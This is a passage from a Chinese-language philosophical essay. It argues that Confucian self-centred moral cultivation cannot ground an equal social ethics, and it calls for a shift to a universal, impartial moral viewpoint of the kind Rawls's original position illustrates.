是說，道德自我主義所關(guān)注的不是義務(wù)與行為的正當(dāng)性，而是自我德性與人格。義務(wù)與正當(dāng)具有某種客觀的普遍性，需要脫離主體來討論，而德性與人格則始終不離主體和自我。但是，在儒學(xué)中，這個“我”及其“我”所要達到的目標(biāo)崇高的德性和人格，又是始終在人我關(guān)系中運行和展開的，要完成道德上的自我實現(xiàn)，又決不能離開他人，離開人群。道家可能不這樣想，但至少這是儒家的執(zhí)著想法。道德自我必須不離人倫日用，在平凡的對他人的盡分中創(chuàng)造性地實現(xiàn)。所以，初看起來，這是一個令人困惑不解的現(xiàn)象∶一方面儒學(xué)自認是“為己之學(xué)”，另一方面，再沒有那一學(xué)派比儒學(xué)更重視人倫關(guān)系的了。不過，由于自我中心的作用，這一人倫關(guān)系中的盡分和推愛自然是由最親近的人開始，根據(jù)離我的關(guān)系的親疏，由近及遠地展開，就象一塊石頭投入水中激起的波紋，離中心越近的波紋越深越濃，離中心越遠的波紋越淺越淡。這是一般情形，但有時更高、更緊迫的義務(wù)也可能打破這種狀況，使我必須優(yōu)先關(guān)注離我關(guān)系較遠的人。其次，由于我是立足自我、關(guān)注自我，所以我在人我關(guān)系中主要關(guān)心的是自己要盡義務(wù)，而不是他人是否盡義務(wù)。我的盡義務(wù)是不以他人對我的態(tài)度為轉(zhuǎn)移的，是不用考慮他人是否盡同等的義務(wù)的，我強調(diào)的只是我自己這一方單方面的盡義務(wù)，單方面地對君忠、對父孝、對兄悌。至于君是否明、父是否慈、兄是否愛，那是屬天的事情，而不是我分內(nèi)的事，因為重要的不是別人做了什么，而是我自己做了什么。正是我自己做了什么，而不是別人對我做了什么，對我能成為一個什么樣的人，能不能德性完美才是真正關(guān)系重大。另外，我也不能要求別人象我對待他一樣對待我，因為我對他人的盡分是可以無限提高、無限擴大的，我不必考慮對他人義務(wù)的限度，我可以完全放棄自己的利益，可以犧牲自己的生命，可以無限委曲、無限忍耐，無限承受，無限奉獻，我越是如此，越是接近我的目標(biāo)，但我怎么能如此要求其他人都象我這樣做，尤其是對我這樣做呢？所以，道德的自我主義是完全可以主張單方面的盡義務(wù)，無條件的盡義務(wù)和無止境的盡義務(wù)的，因為這只是要求我自己，我對我自己有這種權(quán)利，而且，這也可能是我內(nèi)心最深的渴望。這種道德自我主義自然有它崇高的價值和意義。在單方面和無條件的盡義務(wù)中包含有道德的真諦，而完全的奉獻與犧牲也有一種巨大的道德感召力。崇高的精神境界和道德水平都是在少數(shù)個人那里達到的，就象少數(shù)高高聳立的山峰，要高出這塊大陸的平均高度許多。但是，我們從上面的討論卻也可以看到∶從自我觀點的道德主義中推不出平等的責(zé)任和適度的義務(wù)，因為那樣的話，就等于自己把自己看低了，就等于自己給自己的道德努力劃定了界限。而要推出平等和適度的義務(wù)，或者說，推出正義，建立一種社會的道德體系，就必須超越自我，采取一種不以自我為中心，甚至不把自我包括在內(nèi)，暫時懸置自我的觀點。我們可以再打個比方來說明這樣兩種不同的觀點。采取自我的觀點就好象我站在地上、站在人群之中。確實，我隨便一眼望去，就可以看得很遠很遠，從理論上講，只要人的視力無限，其視線的延伸也是無限的。我還可以旋轉(zhuǎn)一周，往四面八方望去，我就可以看到無數(shù)活動的人，無限變化的景象，雖然我只是立足一點而環(huán)顧四周，但只要設(shè)定我的視力無限，在理論上說我就可以看到世界上所有的人、所有的事物（這在此雖然是比喻，但作為思想、思想力確實是可以無限，即是可以思考任何對象的�。�。這樣，以自我為中心的觀察也就可以獲得一種無限性，一種普遍性了。所以，我們很可以理解中國古人雖然常常是立足自我，卻能夠以天下為懷，可以理解為什么他們并不在天下、邦國與家之間做出明確的分斷。因為立足平面的一點而觀察是較容易看到事物之間的聯(lián)系而不易看到其差別的，是較容易達到一種統(tǒng)一和綜合而不易進行區(qū)別和分析的。而且，由于是立足平面的一點觀察，自然越遠的人顯得越小，越近的人顯得越大，而我關(guān)注他人的程度一般也就隨著他接近我的程度而提高。但是，為什么不是自然地提高到最為關(guān)注我自己呢？就象一個儒者所言，一個人應(yīng)當(dāng)比關(guān)心國更關(guān)心家，卻不能比關(guān)心家更關(guān)心自己，但這是為什么呢？我為什么要在我的父母與我自己之間來一個分斷，把最大的關(guān)懷給予父母而非我自己呢？這似乎是與自我的觀點無關(guān)，而僅僅是因為受到了傳統(tǒng)道義論的影響，但問題并不這樣簡單，是否自我觀點還是起了某種關(guān)鍵的作用呢？確實，我看到一個個的他人，離我最近的親人實際會在相當(dāng)程度上遮蔽他們后面的人，近處的人會遮蔽遠處的人，但我總還是有可能看到他們所有人，而真正的問題在于，正由于我的觀察始終不能離開我的眼睛，所以我恰恰不能親眼看到我自己的面容，恰恰不能完整地看到我自己∶一方面，觀察始終離不開我，我是始終存在的，我始終是觀察的主體，而另一方面，我卻恰恰因此而無法成為被觀察的對象。我無法超越自我而觀察的結(jié)果是我無法觀察自我，既然連這自我都無法客觀地予以觀察，就更談不上使自我置于與他人同等的地位，呈現(xiàn)出同樣等級的形象了。我們可以用這一現(xiàn)象來說明為什么從自我中心觀點推不出平等適度的義務(wù)體系，在確定義務(wù)的時候，以自我為中心的觀點無法把自我置于與他人同等的地位上進行思考。自我只是主體，是觀察的主體，行動的主體，對他人盡分的主體，而它卻沒有同時也作為觀察的對象、行動的對象、他人對之盡分的對象。這樣，我們說，從自我中心的觀點就難以推出一種平等適度的道德義務(wù)體系，無論利益的自我主義與高尚的自我主義概莫能外，不同的是∶利益的自我主義是因為看不到自我的義務(wù)，而高尚的自我主義則是因為看不到自己的權(quán)利。當(dāng)然，這句話反過來說也是一樣，即利益的自我主義是因為看到不到他人的權(quán)利，因為它只看到他人是一個個可供自己利用的對象，而看不到自己也是要相應(yīng)為他人做出服務(wù)的；高尚的自我主義則是因為看不到（或不關(guān)心）他人的義務(wù)，因為它只看到他人是一個個可供自己服務(wù)的對象，而看不到自己本來也是可以要求他人做出相應(yīng)服務(wù)的。兩者的主旨是很不同的，高下也就殊然兩判，但在看不到自己，或不能把自我與他人同等看待，不能象看待他人一樣看待自己這一點上則是共同的。而之所以這樣，恰恰又是它們都采取了一種自我中心的觀點。而采取一種普遍的、超越自我的觀點，則好象是上升到了天上，從上面往下俯視下面所有的人，這時，各個人及各個群體的分別和界限當(dāng)然是清清楚楚的，尤其重要的是，是各個人都是處在同一地位上，他們的形象決不互相遮蔽，也不近大遠小，因為這視線并不發(fā)自平面的一點，也不發(fā)自一個中心，它是多中心或者說是無中心的，這是真正的“一視同仁”。平等和適度的義務(wù)體系必須從這種“一視同仁”中推出。當(dāng)然，現(xiàn)實生活中并沒有這樣一雙脫離任何主體的人的眼睛，并沒有這樣一種多中心或無中心的人的視線，我們這里只是比喻，但是，人的思維卻能進行這樣一種不帶“我”字的，超越自我的思考，人能夠進行一種基于普遍觀點的虛擬的、抽象的思考。我們實際上也常有這樣的思考，只是片斷而不系統(tǒng)，不能結(jié)出理論的果實而已。在西方的社會政治哲學(xué)中，自然法理論家、社會契約論者也一般都是從一個虛擬的自然狀態(tài)開始。在羅爾斯的“原始狀態(tài)”中，那個要選擇進入某個社會的虛擬選擇者實際上是在為所有人選擇，“原初狀態(tài)”實際上正好是一種設(shè)計出來的普遍觀點。人們也許會說，這種普遍觀點仍然擺脫不了設(shè)計者個人的主觀影響，但無論如何，是不是努力嘗試做這種思考還是很不一樣的，而且我們也確實要注意到，這種思考有助于糾正一個人的偏見，甚至使他得出他開始決不會想到的結(jié)論。我們有可能遇到的一個質(zhì)問是∶難道“自我”就沒有一種普遍性嗎？難道不是每個人都有一個自我嗎？難道所有的道德體系不都要求“從我做起”嗎？難道道德不落實到自我，乃至不落實到自我的心靈能夠持久有效地起作用呢？確實是這樣，道德必須要求每個人都從我做起，而且是從內(nèi)心生發(fā)出來的、真誠自覺的“從我做起”。問題是要弄清這是道德的第一義還是第二義？道德究竟應(yīng)當(dāng)以何者為先？是首先確立普遍的道德原則，還是首先確立道德的主體？是首先明確什么是義務(wù)，什么是正當(dāng)還是首先考慮個人的德性、品格？在我看來，從社會道德而非個人追求的立場來說，前者無疑應(yīng)當(dāng)優(yōu)先于后者。道德主體必須在對道德原則的認識和踐履中確立，個人的德性和人格必須在履行義務(wù)中培養(yǎng)和完善。難道我們不是要首先明確一般的原則，然后才是個人的應(yīng)用嗎？難道在“從我做起”之前不應(yīng)當(dāng)先明白“應(yīng)做些什么”嗎？“每個人都有一個自我�！边@里確實有一種普遍性，如果我們不是討論道德，我們甚至有可能在“自我”的基礎(chǔ)上建立一種人生哲學(xué)，一種追求和信仰體系，提出“塑造你自己”或“實現(xiàn)你自己”作為這一體系的理想。但是，如果我們是討論作為行為規(guī)范的道德的話，我們一說到“自我”，一說到“每個人都有一個道德自我”或者說“每個人都應(yīng)當(dāng)從我做起”就已經(jīng)是第二義了，就必須承認在這之前還有原則規(guī)范。道德自我必須首先承認原則規(guī)范的普遍性，通過認識和履行原則規(guī)范來成就自己。雖然原則規(guī)范也可以說必須通過人的認識來發(fā)現(xiàn)，但關(guān)鍵的問題在于∶今天它們顯然不能通過自我中心的觀點來發(fā)現(xiàn)。當(dāng)代新儒家把工夫就看作本體，其思想適合作為一種鼓舞和激動人的人生哲學(xué)、實踐哲學(xué)，卻不適合作為一種當(dāng)代社會的倫理學(xué)。在道德領(lǐng)域中，在把自我與原則融合起來發(fā)揮效力之前，首先要把它們區(qū)別開來，即首先要超越自我，想清楚那“理”、弄明白那“義”，這時不能使這“理”、這“義”受到“自我”的任何糾纏，然后才是努力合，才是講踐履一定要“從我做起”，講“以義正我”，“以理約我”。總之，在“行義”時要唯恐沒有“我”，而在“明理”時則要唯恐有“我”。面對中國的文化傳統(tǒng)，我們可能遇到的一個反駁是∶如果說傳統(tǒng)倫理是以自我修養(yǎng)為主導(dǎo)的，那么，怎么解釋傳統(tǒng)倫理在歷史上相當(dāng)成功地維持了社會的穩(wěn)定和繁榮呢？這確實是一個很具挑戰(zhàn)性的問題，我們在此只能簡要地回答說∶第一，傳統(tǒng)倫理中從來不是只有一種傾向，也非始終都是自我修養(yǎng)的一派儒學(xué)占優(yōu)勢，我們只是說，這種自我觀點的導(dǎo)向是儒學(xué)的發(fā)展、尤其是近一千年來的發(fā)展中的一種主要趨勢，看來也在當(dāng)代儒學(xué)的發(fā)展中占上風(fēng)，而這種傾向在我們看來是有危險的，它可能使儒學(xué)自我封閉于社會，自我隔絕于眾人，而反而得不到發(fā)展。而在歷史上，孔子亦重禮，孟子亦重義，由漢至唐的儒者也在社會倫理方面卓有建樹。并且，兩千多年來的社會綱維的建立，不僅有儒學(xué)之功，也吸收了其它學(xué)派的積極因素，包括政治家的實際經(jīng)驗和思考，社會現(xiàn)實的要求畢竟比學(xué)派自身純潔的要求更為有力。第二，儒學(xué)，包括強調(diào)自我心性修養(yǎng)的一派儒學(xué)，之所以能在歷史上相當(dāng)有效地起一種社會道德的作用，這是由歷史的條件決定的。傳統(tǒng)社會是一個精英等級制的社會，是士大夫與君主共治天下，真正的政治社會實際只是一個少數(shù)人組成的社會，所以自我或小團體的道德努力相當(dāng)重要，也相對具有政治效用。少數(shù)統(tǒng)治者與廣大民眾隔有相當(dāng)?shù)木嚯x，這種距離感加強了前者的權(quán)威，所以，對下層的大多數(shù)人來說，高高在上的統(tǒng)治者首先對他們來說是一種不能不感到敬畏的權(quán)威，他們的所言所行都有道理，在他們頭上有一圈道德的光環(huán)這其中有真實的道德努力，也有距離感造成的假象。但無論如何，這一道德光環(huán)是起了維護社會穩(wěn)定的作用的。其次，上層的道德努力也確實滲透并感化到下層，尤其儒家的道德一向重視人倫關(guān)系，親戚關(guān)系，這也容易與庶民基于自然親緣的內(nèi)心道德要求合拍。但是，我們不要忘記，許多從事儒家為己之學(xué)，圣賢之學(xué)的學(xué)者心目中實際上是把大多數(shù)人排除在外的，他們甚至為此感到一種自豪。庶民主要是感化的對象，所以要以學(xué)風(fēng)造就士風(fēng)，再以士風(fēng)影響民風(fēng)。雖然士大夫這一階層是開放的，但對不能上升到士這一階層的多數(shù)人來說，這種圣賢之學(xué)實際與他們無緣。這在根本的社會政制未改變的情況下是顯得很自然的，但是，我們今天的社會確實發(fā)生了翻天覆地的變化，實現(xiàn)了從未有過的社會與經(jīng)濟平等，道德就不能不首先面向所有人，要求所有人，也為著所有人。由此，我們可以談到一種涉及到道德觀點的錯誤，我們也許可以把這種錯誤稱之為一種“誤置道德觀點（或立場）的謬誤”（thefallacyofmisplacingmoralpointofview，或thefallacyofmisplacingmoralposition）。這種誤置有涉外的層面和涉內(nèi)的層面，涉外的層面比如說在該放置道德觀點的地方卻放置了功利的觀點、明智的觀點，或者反之，在該放置功利觀點、明智觀點的地方卻放置了道德觀點，因而混淆了道德與功利、道德與明智。涉內(nèi)的層面則主要是指在應(yīng)該放置自我追求的道德觀點的地方，卻放置了社會規(guī)范的道德觀點；或者在應(yīng)該放置社會規(guī)范的道德觀點的地方，卻放置了自我追求的道德觀點，從而把自我追求的道德與社會規(guī)范的道德混淆起來了。如果說在應(yīng)該放置社會規(guī)范的道德觀點的地方，錯放了自我追求的道德觀點。這種“誤置”往往失之于過嚴(yán)過苛；另一方面，卻也還有一種“誤置”卻可能要失之于過松、過懈，即在本應(yīng)放置自我追求的道德觀點的地方，卻放置了社會規(guī)范的道德觀點，自我僅僅滿足于不觸犯道德之規(guī)，乃至滿足于僅僅不觸犯法律，卻缺乏信仰、缺乏追求，忽略崇高精神對于社會道德的意義，乃至不加分辨地對這種精神進行攻擊，這顯然也是犯了“道德觀點誤置”的錯誤。確實，自我取向的心性儒學(xué)自有它的境界，它的魅力和它的實績，它的確哺育和熏陶了一批具有崇高人格和完美德性的君子，至今令我們仰慕和激動不己。但是，采取這樣一種以自我為中心的觀點，卻開不出一種新的社會倫理。同理，由它也開不出民主和法治，因為它們也都是具有這種普遍性的∶即是約束所有人也為著所有人的，因而必須以一種超越自我的眼光去觀察和確立�？傊�，我們要開出一種新的社會倫理，必須首先實行一種道德觀點的轉(zhuǎn)換，即由自我觀點轉(zhuǎn)向社會觀點，由特殊觀點轉(zhuǎn)向普遍觀點，這樣一種道德觀點的轉(zhuǎn)換是一種根本的轉(zhuǎn)換，沒有這一轉(zhuǎn)換，其

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